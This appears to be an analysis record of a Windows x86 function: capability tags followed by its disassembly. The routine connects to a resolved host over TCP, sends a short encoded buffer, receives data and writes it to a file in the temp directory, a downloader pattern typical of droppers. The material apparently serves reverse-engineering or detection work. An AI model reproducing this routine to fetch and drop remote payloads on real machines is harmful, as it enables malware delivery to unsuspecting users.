Function at 0x4013f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Download and write a file
Get common file path
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1a4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0
je 0x40142b
xor eax, eax
jmp 0x4016c3
push 0x404204
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x1c4], eax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0xffffffff
je 0x401460
cmp dword [ebp - 0x1c4], 0
jne 0x401481
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.socket_function_failed_with_error:__ld_n
call fcn.004019e0
add esp, 8
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x4016c3
mov ecx, 2
mov word [ebp - 0x14], cx
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp - 0x1c4]
mov edx, dword [ecx + 0xc]
mov eax, dword [eax + edx]
mov ecx, dword [eax]
mov dword [ebp - 0x10], ecx
movzx edx, word [0x404200]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
push 0x10
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x1ac]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0xffffffff
jne 0x401528
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.connect_function_failed_with_error:__ld_n
call fcn.004019e0
add esp, 8
mov edx, dword [ebp - 0x1ac]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0xffffffff
jne 0x40151b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.closesocket_function_failed_with_error:__ld_n
call fcn.004019e0
add esp, 8
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x4016c3
push 4
push 0x4032bc
push 0xd
push 0x4041f0
call fcn.00401060
add esp, 0x10
push 0
push 0xd
push 0x4041f0
mov eax, dword [ebp - 0x1ac]
push eax
call dword [sym.imp.WS2_32.dll_send]
push 4
push str.dacs
push 0xd
push 0x4041f0
call fcn.00401060
add esp, 0x10
mov dword [ebp - 0x1c8], 0x400
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0x1cc], 0
mov byte [ebp - 0x1b5], 0
mov ecx, dword [ebp - 0x1c8]
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0
jne 0x4015b5
xor eax, eax
jmp 0x4016c3
push 0x104
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0x1bc], eax
mov edx, dword [ebp - 0x1bc]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x4015e6
xor eax, eax
jmp 0x4016c3
push 0x404224
push 0x104
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
add esp, 0xc
test eax, eax
je 0x40160b
xor eax, eax
jmp 0x4016c3
push 0
push 0x80
push 2
push 0
push 0
push 4
mov ecx, dword [ebp - 0x1bc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0xffffffff
jne 0x401641
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4016c3
push 0
mov edx, dword [ebp - 0x1c8]
push edx
mov eax, dword [ebp - 0x1c0]
push eax
mov ecx, dword [ebp - 0x1ac]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
je 0x4016b1
cmp dword [ebp - 0x1b0], 0
jg 0x401678
jmp 0x4016b1
push 2
push 0
push 0
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x1d0]
push eax
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1c0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401641
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401a1b
mov esp, ebp
pop ebp
ret